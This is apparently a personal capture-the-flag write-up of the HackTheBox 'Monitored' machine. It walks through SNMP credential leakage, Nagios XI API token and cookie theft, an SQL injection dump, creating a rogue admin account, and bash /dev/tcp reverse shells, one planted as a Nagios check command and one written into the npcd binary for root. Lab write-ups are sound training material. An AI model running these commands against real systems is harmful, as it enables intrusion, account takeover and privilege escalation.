> For the complete documentation index, see [llms.txt](https://kayiyan.gitbook.io/hacking-note/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kayiyan.gitbook.io/hacking-note/hackthebox-machine/monitored.md).

# Monitored

My note about Monitored machine

<figure><img src="https://1038241181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fbr7avii8O2bCJtM7fDhm%2Fuploads%2F3n3x2Vax6fkbbNQCX3p3%2Fimage.png?alt=media&amp;token=9b748475-57f8-4cf3-b31c-34d7704540e3" alt=""><figcaption></figcaption></figure>

## Enumeration :

```
Host is up (0.28s latency).                                                                
Not shown: 977 open|filtered udp ports (no-response)                                       
Bug in snmp-win32-software: no string output.                                              
PORT      STATE  SERVICE        VERSION                                                    
20/udp    closed ftp-data
123/udp   open   ntp            NTP v4 (unsynchronized)
| ntp-info: 
|_  
161/udp   open   snmp           SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-sysdescr: Linux monitored 5.10.0-27-amd64 #1 SMP Debian 5.10.205-2 (2023-12-31) x86_64
|_  System uptime: 2h39m49.63s (958963 timeticks)
| snmp-processes: 
|   1: 
|   2: 
|   3: 
|   4: 
|   5: 
|   6: 
|   8: 
|   9: 
|   10: 
|   11: 
|   12: 
|   13: 
|   15: 
|   16: 
|   17: 
|   18: 
|   20: 
|   23: 
|   24: 
|   25: 
|   26: 
|   27: 
|   28: 
|   29: 
|   30: 
|   31: 
|   50: 
|   51: 
|   52: 
|   53: 
|   54: 
|   55: 
|   56: 
|   57: 
|_  58: 
| snmp-interfaces: 
|   lo
|     IP address: 127.0.0.1  Netmask: 255.0.0.0
|     Type: softwareLoopback  Speed: 10 Mbps
|     Traffic stats: 1.85 Mb sent, 1.85 Mb received
|   VMware VMXNET3 Ethernet Controller
|     IP address: 10.10.11.248  Netmask: 255.255.254.0
|     MAC address: 00:50:56:b9:1a:fa (VMware)
|     Type: ethernetCsmacd  Speed: 4 Gbps
|_    Traffic stats: 135.05 Mb sent, 66.12 Mb received
| snmp-netstat: 
|   TCP  0.0.0.0:22           0.0.0.0:0
|   TCP  0.0.0.0:389          0.0.0.0:0
|   TCP  10.10.11.248:44534   10.10.14.62:1337
|   TCP  10.10.11.248:50556   10.10.14.62:1337
|   TCP  127.0.0.1:25         0.0.0.0:0
|   TCP  127.0.0.1:3306       0.0.0.0:0
|   TCP  127.0.0.1:5432       0.0.0.0:0
|   TCP  127.0.0.1:7878       0.0.0.0:0
|   TCP  127.0.0.1:59654      127.0.1.1:80
|   TCP  127.0.0.1:59658      127.0.1.1:80
|   UDP  0.0.0.0:68           *:*
|   UDP  0.0.0.0:123          *:*
|   UDP  0.0.0.0:161          *:*
|   UDP  0.0.0.0:162          *:*
|   UDP  10.10.11.248:123     *:*
|_  UDP  127.0.0.1:123        *:*
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 6f3fa7421af94c6500000000
|   snmpEngineBoots: 35
|_  snmpEngineTime: 2h39m49s
162/udp   open   snmp           net-snmp; net-snmp SNMPv3 server
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 5a44ab2146ff4c6500000000
|   snmpEngineBoots: 26
|_  snmpEngineTime: 2h58m12s
1040/udp  closed netarx
1090/udp  closed ff-fms
3659/udp  closed apple-sasl
4672/udp  closed rfa
5632/udp  closed pcanywherestat
17726/udp closed unknown
17762/udp closed unknown
19075/udp closed unknown
20872/udp closed unknown
21524/udp closed unknown
23980/udp closed unknown
31189/udp closed unknown
42431/udp closed unknown
47624/udp closed directplaysrvr
49157/udp closed unknown
49181/udp closed unknown
57410/udp closed unknown
57843/udp closed unknown
60381/udp closed unknown
Service Info: Host: monitored

Host script results:
|_clock-skew: 6s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5236.49 seconds

```

Note that have `SNMP` port is open .

Resource related : <https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp>

Output from `snmpwalk` :&#x20;

```
STRING: "-c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB "
```

<figure><img src="https://1038241181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fbr7avii8O2bCJtM7fDhm%2Fuploads%2FKLBA0Q53lvacKIMvyJaR%2Fimage.png?alt=media&amp;token=1b036b8a-53fd-4962-a705-b2c5966f1a28" alt=""><figcaption></figcaption></figure>

Add <https://nagios.monitored.htb> to host and navigate to it ( port 80 open )

Founded login page : &#x20;

```
Username: svc
Password: XjH7VCehowpR1xZB
```

<figure><img src="https://1038241181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fbr7avii8O2bCJtM7fDhm%2Fuploads%2FvN5p82bVcdUv2L5ZUiL5%2Fimage.png?alt=media&amp;token=0887e5bc-26a7-4233-bc51-99c7cb02085b" alt=""><figcaption><p>test login on this page but it's fail</p></figcaption></figure>

But can login on <https://nagios.monitored.htb/nagios> instead

<figure><img src="https://1038241181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fbr7avii8O2bCJtM7fDhm%2Fuploads%2FTdiZe6Ho3EgO2UAl8la2%2Fimage.png?alt=media&amp;token=1b87de98-5ff0-4de1-ad98-31e8bd118556" alt=""><figcaption><p>Nothing good</p></figcaption></figure>

Testing and Scanning :&#x20;

Get Auth token ( directory get from scanning ) :&#x20;

```
curl -s -XPOST -k -L 'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=5' | tee /dev/tty | grep -o '"auth_token": "[^"]*' | grep -o '[^"]*$'
```

<figure><img src="https://1038241181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fbr7avii8O2bCJtM7fDhm%2Fuploads%2FqOpAjREt4GXZj0Bw2HfH%2Fimage.png?alt=media&amp;token=7ee03c25-312a-4f2a-9701-ceaf9ae22055" alt=""><figcaption></figcaption></figure>

Get cookie :&#x20;

<pre><code><strong>
</strong><strong>curl -s -k -c - https://nagios.monitored.htb/nagiosxi/login.php?token=$Auth_Token_get_from_previous_command | tee /dev/tty | grep "HttpOnly_nagios.monitored.htb" | awk '{print $NF}'
</strong></code></pre>

<figure><img src="https://1038241181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fbr7avii8O2bCJtM7fDhm%2Fuploads%2FxrLDlfYCTQLbqq0bE2hJ%2Fimage.png?alt=media&amp;token=d0fe699e-022f-4163-91d4-4aa658feb08d" alt=""><figcaption></figcaption></figure>

CVE research related : <https://vuldb.com/?id.239985>

* `sqlmap` dump the user table :&#x20;

<figure><img src="https://1038241181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fbr7avii8O2bCJtM7fDhm%2Fuploads%2Fr7pv6GX6MdbueJve89n2%2Fimage.png?alt=media&amp;token=6ac835c6-ce41-4c4e-afc4-44beda13df73" alt=""><figcaption></figcaption></figure>

Use `api_key` to create our own `admin` account to login :&#x20;

```
curl -s -XPOST "http://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=$API_KEY&pretty=1" -d "username=admin&password=admin&name=admin&email=admin@mail.com&auth_level=admin"
```

And login with that account at login page :&#x20;

<figure><img src="https://1038241181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fbr7avii8O2bCJtM7fDhm%2Fuploads%2FhazW4O8RTwHXW4BPxL7r%2Fimage.png?alt=media&amp;token=2df1577d-3044-4e2f-8a81-f847abb56e45" alt=""><figcaption></figcaption></figure>

Move to RCE :&#x20;

Add new commands :&#x20;

<figure><img src="https://1038241181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fbr7avii8O2bCJtM7fDhm%2Fuploads%2F1BmgTjlVl8KrShNzRz9M%2Fimage.png?alt=media&amp;token=214b73df-747f-4bf5-acd0-863dfc944c56" alt=""><figcaption></figcaption></figure>

Add New and add commands to reverseshell which is `bash -c 'bash -i >& /dev/tcp/10.10.x.x/4444 0>&1'` , Name  we choose for later easy to look and Apply Configuration&#x20;

Monitoring > Hosts > localhost

<figure><img src="https://1038241181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fbr7avii8O2bCJtM7fDhm%2Fuploads%2FJxKiXMDn50oajZ0kCfmg%2Fimage.png?alt=media&amp;token=e5b895f7-da74-454b-8fd7-510a348fdda3" alt=""><figcaption></figcaption></figure>

Choose the commands with the name had set in previous :&#x20;

<figure><img src="https://1038241181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fbr7avii8O2bCJtM7fDhm%2Fuploads%2FwuTdU8OhoEuAv7d8FTMg%2Fimage.png?alt=media&amp;token=6e717d37-57e3-4ac6-8e19-90d757137a3b" alt=""><figcaption><p>Run check commands to execute it</p></figcaption></figure>

Setting netcat listen and get the user shell :&#x20;

<figure><img src="https://1038241181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fbr7avii8O2bCJtM7fDhm%2Fuploads%2FUkibqfGmZcmmlWt5qH9x%2Fimage.png?alt=media&amp;token=2225cbc5-a51e-4032-9247-b53ac8fb64d6" alt=""><figcaption></figcaption></figure>

upgrade shell : `export TERM=xterm`

* Getting Root :&#x20;

`sudo -l` check :&#x20;

<figure><img src="https://1038241181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fbr7avii8O2bCJtM7fDhm%2Fuploads%2FGcOAQNKOyEHDfGyF6Huu%2Fimage.png?alt=media&amp;token=246dc3e0-3994-4282-af2e-80c0c7f2d893" alt=""><figcaption></figcaption></figure>

* Exploit `mange_services.sh` : ( We can stop npcd service )

`sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd`

Then edit file at `/usr/local/nagios/bin/npcd:`

Add `#!/bin/bash` and `'bash -i >& /dev/tcp/ip/port 0>&1'`

Then setup another netcat listen and startup the npcd server -> got root shell

<figure><img src="https://1038241181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fbr7avii8O2bCJtM7fDhm%2Fuploads%2FRMFyvd4HPFcGrokFp3Bk%2Fimage.png?alt=media&amp;token=68f627c6-8ab0-4a73-960a-73d022787bf0" alt=""><figcaption></figcaption></figure>